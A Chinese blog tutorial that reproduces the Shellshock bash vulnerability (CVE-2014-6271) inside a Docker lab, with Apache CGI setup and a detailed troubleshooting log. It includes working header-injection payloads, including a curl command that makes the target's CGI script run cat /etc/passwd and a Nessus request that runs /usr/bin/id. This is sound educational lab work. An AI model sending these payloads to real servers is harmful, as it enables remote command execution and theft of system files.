目录

前言

巨详细的复现过程等你来!因为遇到了很多问题,因此目录做的详细一些,方便大家查看和搜索对自己有用的内容。

复现过程是在我踩过很多坑后按照应该做的步骤梳理后的流程,目的是希望你可以一次成功不用遇到问题后各种填坑。如果你遇到不明白我为什么要采取一些看似无关的环境配置步骤的情况,可以到4. 遇到的问题中看我的探索过程,希望可以提示你。


漏洞原理

Bash支持通过进程环境导出shell变量和shell函数到子进程的其他的bash实例中。现有的bash版本使用环境变量实现这一过程。环境变量以函数名命名,以“() { }”作为环境变量的值传送函数定义。由于bash处理函数定义后仍会继续解析和执行跟在函数定义后的shell命令导致远程任意代码执行。

核心原因:没有严格限制输入的边界,没有合法化的参数判断。

详见:https://seclists.org/oss-sec/2014/q3/650

安天实验室对CVE-2014-6271破壳漏洞进行了详细的分析,且提供了其他参考资料。

例子:

VAR=() { ignored; }; /bin/id

当上述环境变量导入bash进程时将执行/bin/id

解决方案:安装补丁。在补丁中主要进行了参数的合法性过滤,补丁程序在/builtins/evalstring.c的parse_and_execute函数中进行了输入的command进行了合法性的边界检测。(CVE-2014-6271 的修补不够完善,导致CVE-2014-7169。)

利用方式

需要以下条件:

  1. 远程服务会调用bash。(创建bash子进程)
  2. 远程服务允许用户定义环境变量。
  3. 远程服务调用子bash时加载了用户定义的环境变量。

攻击向量:

  1. 对CGI脚本的HTTP请求(bash命令可能出现的位置有:请求方法,路径,服务器协议,Header的值(Referer、host、UserAgent等)。还可能出现在查询字符串,查询字符串变量名)
  2. OpenSSH(通过AcceptEnv,TERM,SSH_ORIGINAL_COMMAND)
  3. 涉及其他需要额外编程设置的环境变量的情况

复现过程

这部分的核心流程是按照安天实验室的一篇分析文档做的,其中增加了我填过的坑,帮助大家更顺利的进行复现。最近看了几篇安天的分析,安天在我心里的地位噌噌地上涨,感恩。

提示1:我在复现过程中遇到了很多坑,如果你按流程走出现问题,可以去4. 遇到的问题找找有没有对应的解决办法。

提示2最好把流程都看完再操作!可以对照4. 遇到的问题浏览各步骤可能存在的问题,做到心中有数,提前应对。中间遇到好多坑,先大致看完流程可能会少走弯路。

Nessus was able to exploit the issue using the following request :

GET /xampp/cgi.cgi HTTP/1.1

Host: 目标IP

Accept-Charset: iso-8859-1,utf-8;q=0.9,;q=0.1

Accept-Language: en

Connection: Keep-Alive

User-Agent:
() { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /usr/bin/id;

Pragma: no-cache

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, /

1. 环境准备

本文使用虚拟机里的Ubuntu系统,docker,现有的shellshock镜像hmlio/vaas-cve-2014-6271

(1) 为容器配置固定IP地址

为了后续访问方便,先为容器配置固定的IP地址,可以参考这个教程。(当然也可以不设置固定)

  • 首先创建自定义网络:

    docker network create --subnet=172.18.0.0``/16 mynetwork

  • 在创建docker容器时为其配置IP地址和端口映射

    docker run -it --net mynetwork --ip 172.18.0.3 -p 80:80 hmlio/vaas-cve-2014-6271 /bin/bash

    注意:确保创建容器时没有使用相同端口映射的容器正在运行,否则将提示错误,无法创建容器。出现该问题时,可以使用dockr ps查看正在运行的容器,使用docker stop 容器ID将其停止即可。

(2) 查看bash版本

bash --version

确认是存在shellshock漏洞的bash版本。

2. 本地验证:测试镜像系统是否存在漏洞

测试payload:env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

测试发现镜像系统存在漏洞。

3. 远程模拟验证(原理验证)

以下是针对我们选用的镜像进行复现的完整流程,是我多次从坑里跳出来后重新梳理总结的,具体的解决问题的思路摸索过程可以到4. 遇到的问题查找。

(1) 查看容器apache服务配置

​ apache的配置文件是/etc/apache2/sites-enabled/000-default。

​ 我用的镜像没有vi和vim,因此需要自己下载安装。

​ 首先要更新源,然后再安装vim。如下,将每条命令顺序单独执行。(参考这个操作就ok了。必须感谢!)

mv /etc/apt/sources.list /etc/apt/sources.list.bak
echo "deb http://mirrors.163.com/debian/ jessie main non-free contrib" >/etc/apt/sources.list
echo "deb http://mirrors.163.com/debian/ jessie-proposed-updates main non-free contrib" >>/etc/apt/sources.list
echo "deb-src http://mirrors.163.com/debian/ jessie main non-free contrib" >>/etc/apt/sources.list
echo "deb-src http://mirrors.163.com/debian/ jessie-proposed-updates main non-free contrib" >>/etc/apt/sources.list
#安装更新源
apt-get update
#安装vim
apt-get install vim

​ 安装完成后

vim /etc/apache2/sites-enabled/000-default

​ 打开配置文件,找到下面两句:

DocumentRoot /var/www
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin

​ 修改为:

DocumentRoot /var/www/html
ScriptAlias /cgi-bin/ /var/www/html/cgi-bin/

​ 添加:

AddHandler cgi-script .cgi .pl .sh .py

​ 修改完成的配置文件如下:

        ScriptAlias /cgi-bin/ /var/www/html/cgi-bin/
<Directory "/var/www/html/cgi-bin/">
AddHandler cgi-script .cgi .pl .sh .py
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory>

注意:开始我以为<Directory "/var/www/html/cgi-bin/">路径要与上一行的DocumentRoot路径一致。但是我测试发现如果使用原有的<Directory "/usr/lib/cgi-bin">也是可以的。

(2) 编辑测试文件

注意:vim创建多层目录下的文件时,需要手动创建好中间路径,否则编辑后无法保存。

​ 创建多层目录:mkdir -p /var/www/html/cgi-bin

vim /var/www/html/cgi-bin/test.sh

#!/bin/bash
echo "Content-type: text/html"
echo ""

一定要把#!/bin/bash放在首行,不能有空行!!!

​ 给测试文件赋予执行权限,ls -l /var/www/html/cgi-bin/test.sh查看文件权限。

​ 更改文件权限:chmod 777 /var/www/html/cgi-bin/test.sh

”777“表示读写执行权限,如果想了解不同权限的对应数字,具体可以搜索Linux文件权限去学习。

(3) 重启apache服务

/etc/init.d/apache2 restart

​ 使用service apache2 restart也是可以的。

(4) 远程测试

​ 开启一个新的终端,使用如下命令进行远程测试:

curl -H 'x: () { :;};a=/bin/cat /etc/passwd;echo $a' 'http://IP地址/cgi-bin/test.sh' -I

​ 命令中可改变a=/bin/cat /etc/passwd;echo $a为任意命令进行执行。

当我们测试成功后,若把容器提交为镜像,再次用成功的镜像创建容器后也要重启apache服务才能被远程curl。

docker ps查看正在运行的镜像,记录容器ID。

docker commit 容器ID 新的镜像名提交镜像。

疑问为什么要在目标机上写一个bash文件,这样攻击时已具有写权限,不需再利用shellshock漏洞就能执行代码了吧?

思考

  1. bash文件可以是利用其他漏洞进行的文件上传的,而非直接写入,因此不代表攻击者需要拥有写权限。
  2. 即使攻击者拥有写权限,也不代表有执行权限来执行bash。
  3. shellshock是为bash文件提供了一种执行方式,没有执行权限的攻击者可以使其运行。

4. 遇到的问题

在这一小节总结了复现过程中遇到的问题,为方便大家阅读,标题格式确定为问题概述-->解决思路。我会将做过的尝试都记录下来,最后一次的尝试方法是能真正解决问题的方法,请大家根据自己的需求进行选择阅读。

:此部分截图是我的各次尝试汇总到一起的,因此容器ID不是相同的,前后使用的IP地址也可能是不同的,可以忽略这些细节。

(1) Kali无法开启伪终端-->Ubuntu

​ 发现用Kali无法开启伪终端,而且docker run -it后容器自动停止,没有找到有效的解决办法,因此改用Ubuntu。有了解原因的同学请指导指导我,到底怪Kali还是怪我。

(2)远程访问需要容器的IP地址-->为容器配置固定IP地址

​ 开启容器bash后

​ 不能查看容器的IP地址了,这让我很尴尬呀。

尝试1:将容器放到后台,在虚拟机用docker命令查看。

Ctrl+p+q把容器挂入后台,docker ps可以看到该容器进入后台运行,状态显示为up。使用docker exec -it 容器ID IP addr查看容器的IP地址。

​ 直接在虚拟机内查询ifconfig。--> 这种方式是完全错误的。因为docker0是宿主机为docker容器分配的默认网关,不是容器的IP。

疑问:虚拟机查容器IP与在虚拟机用ifconfig查到的docker0的IP不同。

思考:docker0是宿主机为docker容器分配的默认网关,不是容器的IP。

尝试2:在容器内安装net-tools。

apt-get install net-tools即可直接在容器内部使用ifconfig查询IP地址。可以看到与在虚拟机查容器IP的值是一样的。

(3) 镜像未安装vim,且安装出错-->安装需更新源

​ 使用vim命令出错,发现未安装vi和vim

​ 使用apt-get install vim安装出错,使用apt-get update仍旧无法完成安装,问题是更新源太旧了。

​ 需要重新编辑sources.list,但是现在没有vim,搜索方法,发现按这个操作就ok了。逐条运行下面各命令:

mv /etc/apt/sources.list /etc/apt/sources.list.bak

echo "deb http://mirrors.163.com/debian/ jessie main non-free contrib" >/etc/apt/sources.list

echo "deb http://mirrors.163.com/debian/ jessie-proposed-updates main non-free contrib" >>/etc/apt/sources.list

echo "deb-src http://mirrors.163.com/debian/ jessie main non-free contrib" >>/etc/apt/sources.list

echo "deb-src http://mirrors.163.com/debian/ jessie-proposed-updates main non-free contrib" >>/etc/apt/sources.list

//安装更新源

apt-get update

//安装vim

apt-get install vim

(4) vim自动创建多层目录下的文件时出错-->需要手动创建好中间路径

​ 直接使用vim /var/www/html/cgi-bin/test.sh创建并编辑测试文件,编辑好保存以后提示错误,无法保存。

尝试1:怀疑是权限问题,使用sudo(虽然已经是root用户了,不应该存在这种问题)

​ 我今天才知道,sudo也是要安装的#_#,使用apt-get install sudo即可安装。但是,用sudo还是不行,仍旧出现相同问题。

尝试2:目录创建问题,直接手动创建好目录——成功

​ 无意中看到有人说,vim自动创建文件需要自己创建好中间路径,姑且一试,嗯……好了。因为我没注意少了两层目录,于是就一层一层创建的,如果想要一次创建多层目录,使用mkdir -ppparent/child/grandson

(5) 远程测试时无法连接-->给容器配置端口映射

curl -H 'x: () { :;};a=/bin/cat /etc/passwd;echo $a' 'http://IP地址/cgi-bin/test.sh' -I返回:

​ CURLE_COULDNT_CONNECT(7):connect()的主机或代理失败。目测是因为容器的端口没有映射到主机端口,所以没办法连接。

尝试1:修改容器的端口

​ 之前试过docker run -p 80:80,可是80端口已被占用,没映射过去。因此先考虑修改容器的端口,使其可以映射。

vim /etc/apache2/sites-enabled/000-default编辑apache配置文件,将其端口改为90。

/etc/init.d/apache2 restart重启apache服务。

docker ps查看正在运行的镜像,记录容器ID。

docker commit 容器ID 新的镜像名提交镜像。

docker run -p 80:90 -it 镜像名称 /bin/bash在创建容器时添加端口映射。

​ 此时可以看到有两个正在运行的容器,新开的容器端口变为90,映射到虚拟机的80端口。

​ 依旧无法远程测试,失败!

尝试2:检查虚拟机端口转发是否开启

cat /proc/sys/net/ipv4/ip_forward查看端口转发情况,返回1,说明端口转发是开启的。

尝试3:考虑端口映射是否有问题-->发现没有问题

尝试4:检查是否虚拟机的端口未开启

​ 用telnet测试发现无法连接,那么就首先开启虚拟机的80端口。Ubuntu系统使用ufw防火墙进行设置。详见https://www.cnblogs.com/EasonJim/p/7595213.html 和 https://jingyan.baidu.com/article/ac6a9a5e317b7c2b653eacde.html。

​ 发现开启了80端口依旧无法连接。

尝试5:推翻重建——重新进行端口映射配置。——成功

​ 实在是没有新的思路了,最终,我决定,重新进行端口映射配置。首先将之前改的apache的90端口再改回到80,重启apache服务。

​ 接下来查看并删除原来的端口映射

​ 再重新创建一条新的映射,将虚拟机的80端口映射到容器80端口。

​ 再次尝试远程连接。(看到一个教程说访问时由于是由虚拟机映射到容器,因此,地址可以使用虚拟机IP地址,也可以使用容器IP地址,我就都试了一下)

​ 两种访问方式:用虚拟机IP和容器IP

​ 用虚拟机IP访问

​ 用容器IP访问

​ 现在可以远程访问了。

(6) 可以连接后HTTP 500并且没有返回应有的信息-->apache错误日志发现脚本无法执行,修改脚本错误

尝试1:查看并确保测试文件有可执行权限:ls -l /var/www/html/cgi-bin/test.sh

​ 修改文件权限:chmod 777 /var/www/html/cgi-bin/test.sh

​ 对解决问题有帮助,但仍然无法彻底解决问题。

尝试2:检查cgi配置(已经处在一种死马当活马医的状态中…)

​ 检查是否有cgi模块:/usr/sbin/apache2ctl -M | grep cgi

​ 返回cgid_module(shared)说明已有该模块。

​ 检查是否配置加载:vim /etc/apache2/mods-enabled/cgi.load

​ 返回结果说明已经加载:

尝试3:检查apache配置文件

vim /etc/apache2/sites-enabled/000-default发现cgi-bin的directory是不一致的,修改一致。但是后面测试发现此处不一致也是可以的。这是怪我不懂得apache配置文件的实质啊。

尝试4:检查是否测试文件存在问题,apache本身就不能执行该文件,而非配置问题

​ 检查各种配置没问题,最后有个问答里的这句话点醒了我:

​ “You get 403 error not only if your apache configs aren't these directories allowed, but if even apache doesn't have the permission to reach this directory.”--from ​

详细的漏洞复现:Shellshock CVE-2014-6271 CVE-2014-7169的更多相关文章

  1. CVE¬-2020-¬0796 漏洞复现(本地提权)

    CVE­-2020-­0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...

  2. 20145330 《网络对抗》 Eternalblue(MS17-010)漏洞复现与S2-045漏洞的利用及修复

    20145330 <网络对抗> Eternalblue(MS17-010)漏洞利用工具实现Win 7系统入侵与S2-045漏洞的利用及修复 加分项目: PC平台逆向破解:注入shellco ...

  3. Spring Framework远程代码执行漏洞复现(CVE-2022-22965)

    1.漏洞描述 漏洞名称 Spring Framework远程代码执行漏洞 公开时间 2022-03-29 更新时间 2022-03-31 CVE编号 CVE-2022-22965 其他编号 QVD-2 ...

  4. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

  5. 【漏洞复现】Tomcat CVE-2017-12615 远程代码执行漏洞

    漏洞描述 [漏洞预警]Tomcat CVE-2017-12615远程代码执行漏洞/CVE-2017-12616信息泄漏 https://www.secfree.com/article-395.html ...

  6. Linux kernel(CVE-2018-17182)提权漏洞复现

    0x01 漏洞前言 Google Project Zero的网络安全研究人员发布了详细信息,并针对自内核版本3.16到4.18.8以来Linux内核中存在的高严重性漏洞的概念验证(PoC)漏洞利用.由 ...

  7. CVE-2018-15982漏洞复现

    作者:欧根 漏洞信息:CVE-2018-15982 Adobe已发布适用于Windows,macOS,Linux和Chrome OS的Adobe Flash Player安全更新.这些更新解决一个  ...

  8. tomcat7.x远程命令执行(CVE-2017-12615)漏洞漏洞复现

    tomcat7.x远程命令执行(CVE-2017-12615)漏洞漏洞复现 一.漏洞前言 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017 ...

  9. struts2(s2-052)远程命令执行漏洞复现

    漏洞描述: 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为C ...

随机推荐

  1. 浏览器输入URL到返回页面的全过程

    [问题描述] 在浏览器输入www.baidu.com,然后,浏览器显示相应的百度页面,这个过程究竟发生了什么呢? [第一步,解析域名,找到主机] 正常情况下,浏览器会缓存DNS一段时间,一般2分钟到3 ...

  2. Layui多文件上传进度条

    Layui原生upload模块不支持文件上传进度条显示,百度,谷歌找了一下不太适用.后面找到一个别人修改好的JS,替换上去,修改一下页面显示即可使用,一下是部分代码 HTML: <div cla ...

  3. 【0726 | Day 2】编程语言分类/主流编程语言介绍/网络的瓶颈效应

    编程语言分类 机器语言 与硬件交互 优点:执行效率高 缺点:开发效率低 汇编语言 间接与硬件交互 优点(相较于机器语言):开发效率高 缺点(相较于机器语言):执行效率低 高级语言 简单化指令,让人人都 ...

  4. HashMap与ConcurrentHashMap在Java8的改进

    链接:http://www.cnblogs.com/huaizuo/archive/2016/04/20/5413069.html#undefined http://www.cnblogs.com/h ...

  5. 7.17 正则表达式 re模块

    在介绍正则表达式和re模块之前,先简要介绍一下 正则表达式与re模块的关系 1.正则表达式是一门独立的技术,任何语言均可使用 2.python中要想使用正则表达式需要通过re模块 正则表达式 元字符 ...

  6. 7.15 迭代器 for循环的本质 生成器

    迭代器 迭代:更新换代的过程,每次的迭代都必须基于上一次的结果 迭代器:迭代取值的工具 作用 迭代器提供了一种不依赖于索引取值的方式 根据以上对于迭代的描述,如果只是简单的重复,不算迭代,如下: n ...

  7. centos7 yum搭建lnmp环境及配置wordpress超详细教程

    yum安装lnmp环境是最方便,最快捷的一种方法.源码编译安装需要花费大量的人类时间,当然源码编译可以个性化配置一些其它功能.目前来说,yum安装基本满足我们搭建web服务器的需求. 本文是我根据近期 ...

  8. 盘一盘 AQS和ReentrantLock

    AQS是个啥? AQS(AbstractQueuedSynchronizer)是Java并发用来构建锁和其他同步组件的基础框架.许多同步类实现都依赖于它,如常用的ReentrantLock/Reent ...

  9. appiumstudio工具-----实现windows上安卓、IOS自动化测试

    博主用的是win10,用python+appium做完安卓的自动化第一个版本后,大量地搜索windows上做IOS自动化的解决办法,有的建议用虚拟机,安装苹果的系统,没有实践过,据说效果不很好.然后, ...

  10. Linux--shell数组和字符串--09

    一.数组 数组就是一段连续的变量,一段连续的内存存储空间,为了解决变量过多的问题,在同一类变量中,我们不需要去定义多个名字,而是以数组的方式来定义 1.定义数组 declare -a 定义数组 dec ...